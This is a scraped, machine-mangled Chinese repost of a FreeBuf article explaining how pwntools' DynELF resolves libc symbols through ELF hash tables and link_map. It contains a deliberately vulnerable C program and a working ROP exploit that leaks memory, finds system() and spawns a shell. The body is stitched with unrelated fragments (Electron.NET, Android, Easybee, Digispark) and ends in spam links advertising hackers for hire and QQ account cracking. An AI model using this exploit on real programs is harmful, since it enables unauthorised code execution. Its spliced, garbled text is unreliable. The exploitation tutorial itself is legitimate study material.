C言语代码:Pwntools之DynELF原理探求

访客4年前黑客工具975

*本文作者:xmwanth,本文属 FreeBuf 原创奖赏方案,未经许可制止转载。

DynELF是pwntools中专门用来应对没有libc状况的缝隙运用模块,在供给一个政策程序恣意地址内存走漏函数的状况下,能够解析恣意加载库的恣意符号地址。本文将对其技术原理进行介绍,其间触及ELF文件中的hash表、动态符号表、字符串表、Dynamic段,以及link_map结构等内容。

一、DynELF运用示例

政策程序源代码:

#include <stdio.h>#include <stdlib.h>#include <unistd.h>void vulfun(){    char b

该插座的操控示意图如下:

uf[128]; read(STDIN_FILENO, buf, 256);}int main(int argc, char** argv){ vulfun(); write(STDOUT_FILENO, "Hello,Worldn", 13);}

poc:

#!/usr/bin/env pythonfrom pwn import *elf  = ELF('vul_elf')plt_write = elf.symbols['write']plt_read = elf.symbols['read']vulfun_addr = 0x08048404def leak(address):payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(address) + p32(4)p.send(payload1)data = p.recv(4)return datap = process('./vul_elf')d=DynELF(leak, ptr)system_addr = d.lookup('system', 'libc')bss_addr = 0x0804a018pppr = 0x080484bdpayload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)p.send(payload2)p.send("/bin/sh")p.interactive()
二、DynELF原理

在示例中,运用DynELF的代码是:

 

d=DynELF(leak, ptr)

system_addr = d.lookup('system', 'libc')

 

能够看到,DynELF作用是寻觅system函数在内存中的加载地址,下面临该进程进行介绍:

1、获取vul_elf内存加载基地址

已知vul_elf加载内存范围内的一个地址ptr,将该地址进行页对齐

 

page_size = 0x1000

page_mask = ~(page_size - 1)

ptr &= page_mask

 

然后比照内存页开始字符串是否为’x7fELF’,假如不是,一向向低地址内存页(ptr -= page_size)进行查找,找到契合该条件的页面,该页面开始地址便是vul_elf文件内存加载基地址。

寻觅vul_elf内存加载基地址的示意图如下:

2、获取libc.so内存加载基地址

vul_elf是动态链接的可执行文件,在该类型文件中有一个link_map双向链表,其间包括了每个动态加载的库的途径和加载基址等信息,其数据结构为:

能够通过两种途径获取link_map链表:一是在所有ELF文件中,通过Dynamic段DT_DEBUG区域得到。二是在non-侵犯分析器运用Electron.NET,这是一个带有嵌入式ASP.NET中心运用程序的“一般”Electron运用程序包装器。我对这两种结构的内部作业原理都不是很熟悉,但看起来,其工作的是本地Kestrel Web服务器,然后通过Electron翻开一个ASP.NET Web运用程序。RELRO ELF文件中,link_map地址存在于.got.plt区节中,该区节的加载地址能够从DYNAMIC段DT_PLTGOT区域得到。

这两种途径都需求知道vul_elf的DYNAMIC段地址:我们在之一步中获取了vul_el内存加载基地址,由此能够得到vul_elf段表,通过解析vul_elf段表能够得到DYNAMIC基地址。

通过第二种办法获取link_map结构的示意图如下:

3、获取libc.so的hash表、动态符号表、字符串表基地址

在所有需求导出函数给其他文件运用的ELF文件(例如: “libc.so”)中,用动态符号表、字符串表、hash表等一系列表用于指示导出符号(例如:”system”)的称谓、地址、hash值等信息。通过libc.so的Dynamic段DT_GNU_HASH、DT_SYMTAB、DT_STRTAB能够获取hash表、动态符号表、字符串表在内存中的基地址。

4、通过hash表获取system函数地址

hash表是用于查找符号的散列表,通过libc.so的hash表能够找到system函数内存加载地址,在ELF文件中有SYSV、GNU两种类型的hash表,其间通过GNU HASH查找system函数地址示意图如下。其寻觅进程触及许多细节,在此不多叙说,后边会写文章对通过hash表找到符号地址作专门解说。

图中: nbuckets是hash buckets的数值,symndx是hash表映射符号表的开始索引,Bloom Filter用作过滤不在符号表中的符号称谓,在DynELF中并没有运用:

 

hash=gnu_hash(“system”),gnu_hash是GNU HASH算法函数

ndx=hash%nbuckets,ndx是符号表中所有 符号HASH%nubuckets 持平的开始索引

 

终究:内存走漏函数在进程中用作读取程序内存数据,像上面比如中获取link_map、DYNAMIC段、vul_elf段表等内容都是通过内存走漏函数。

C言语代码:Pwntools之DynELF原理探求

printf("ICorRuntimeHost::Start()n");我们在研讨Slack文档时,发现如同不或许在频道中发送一个超链接:包括以下信息:Pwntools之DynELF原理探究

C语言代码· CreateTime(Created) 终究,翻开 Tools -> Board,然后选择 Digispark (Default — 16.5mhz)并将其设置为默认值。

cd /home/raj/script/ UpperFlagBits = ((DWORD)Flags & 0xFFFFFFFE); 中止进程C语言代码

4、泛洪侵犯 Reserved block group size: 7

影子经纪人(Shadow Brokers)最近曝光的NSA方程式Windows侵犯程序中有一个针对Mdaemon邮件服务器缝隙的远程侵犯程序——Easybee,本文将对Easybee缝隙侵犯进行复现,并分析缝隙侵犯原理。数据包, 数据流

ContextWrapper结束这个推延化处理的办法便是attachBaseContext()。能够这样说,Application政策在刚刚结构结束时是“残废”的,访问全部Context的办法都会抛出NullPointerException。只需attachBaseContext()实行完后,它的功用才无缺。在ContentProvider:onCreate()中,我们知道Application:onCreate()还没有工作,但现已能够运用getContext().getApplicationContext()函数获取Application政策,并访问其Context办法。显着,Android的API规划者不能允许此时获取的Application是“残废”的。结论是Application:attachBaseContext()有必要要发生在ContentProvider:onCreate()之前,否则API将出现BUG;不论Android的系统版别怎样改动,这一点也不能改动。“无法处理的”另一个说法是“还没有处理”**********

今天让我们来介绍十个黑客专用的操作系统,它们被白帽黑客用作渗透检验的东西。这儿我把 Kali Linux 列为首位,是因为它在渗透检验中非常盛行,它的开发团队 Offensive security 一同也是开发 BackTrack 的团队。我们没有列出 BackTrack ,是因为在它的官方站点上现已无法下载了,它现已被 Kali Linux 所代替了。Pwntools之DynELF原理探究

C语言代码分析方式 运用这种方式你能够查看没有通过任何毒化的N *** -NS, BROWSER, LLMNR, DNS央求的实在形状.一同能够被逼的映射内网的拓扑,一同能够查看是否能够进行icmp重定向侵犯.Kibana便是我们的侵犯溯源途径,翻开Kibana的Web页面 http://localhost:5601linux(kali)下源码包的运用:本文的分析政策是来自eQ-3公司的 MAX! Cube LAN Gateway (以下称为“Cube”)。实际上,许多产品都绑缚了该设备,比如我的加热操控系统中就带有该设备。通过该设备称谓中的“Cube”不难猜出,它只是一个LAN网关,通过RF技术结束实在的“物联网设备”或“智能设备”之间的通讯。在本文中,我们将关键介绍以太网通讯,因为它是处理软件的首要通讯办法。

为了便于网上生意,绝大多数手机用户都已用上了支付宝或微信钱包。但是,在享受便利支付的便利一同,我们相同需求警惕或许存在的挟制移动资金安全的各种风险。

if [ -f $(brew --prefix)/share/bash-completion/bash_completion ]; then这一应战运用了UPX用来加壳,但是加成了阻遏upx-d工作的方式。它还运用了一些反调试技术来抑止调试东西的运用。具体的符号还不是很清楚,所以需求分析反面的数学函数并解码符号。C语言代码

从银行卡这个思路我们去分析安全会更简略了解,前期传统的银行卡是磁条卡,磁条卡并没有太多的安全认证,导致读取到磁条中的数据就能够拷贝成一张新的银行卡,所以我们常常能够看见盗刷拷贝银行卡的新闻,不法分子一般都是通过不合法磁条卡读写设备拷贝银行卡。

静下心来,仔细想了下,本地向外发包,那本地必定会有程序来发!这可咋找啊?Pwntools之DynELF原理探究

printf("Cannot find DLL");# canonical.pickle需求时设备NVIDIA驱动int _tmain(int argc, _TCHAR* argv[])
本文标题:C言语代码:Pwntools之DynELF原理探求

相关文章

黑客教你微信如何定位老公位置不让他知道_中国

曾经的爱情依赖于情书、便条和中间人发来的信息,但现在可以拿出你的手机再加一个微信了。前些日子,我和老公吵架了,老公离家出走了,找不到他人。所以我在网上找了个黑客高手,帮我定位老公的位置,所以无论是否合...

正新鸡排加盟费用是多少?

正新鸡排加盟费用是多少?

此刻许多的年青人喜欢吃鸡排,利便又鲜味,正因为各人喜爱鸡排,都爱吃鸡排,餐饮市面上呈现了许多的鸡排加盟店,许多投资者看到了个中的商机,纷纷想要加盟个中,那各人该加盟什么品牌呢?正新鸡排是个不错的选择,...

东莞市洗浴会所联系电话_令人满意才算是最好是的!

东莞市洗浴会所联系电话?令人满意才算是最好是的! 东莞市洗浴会所联系电话?令人满意才算是最好是的! 技术专业的异性朋友SPA有许许多多的“道路”,想获得极致的休闲娱乐体会,还没有出发以前,...

贸易公司怎样用黑客找客户-黑客qq空间权限破解(黑客可以破解qq空间不)

贸易公司怎样用黑客找客户-黑客qq空间权限破解(黑客可以破解qq空间不)

贸易公司怎样用黑客找客户相关问题 qq空间黑客相关问题 有没有教怎么做黑客书 黑客盗微博教程神器(黑客盗qq密码神器)...

一个黑客少年找妈妈的小说,若何找一个黑客,找黑客恢复照片

随后,回到桌面,电子计算机-鼠标右键-特性,随后,选择左边的高系统配置,如下图:ubd.sh:重要字:Powered by WEBBOY标准的rc4加密方法以下我领悟的紧急映衬是对突发性的不清楚的安...

免费黑客帝国2完整版_如何简单黑进别人的手机

要对文本文件添加图片,是不能直接添加的。要先把文本文件转换其他格式后再来对其编辑,最后编辑完成再转换回文本文件即可。我们可以在百度搜索PDF编辑器下载到电脑中。 点击PDF编辑器的打开。 然后...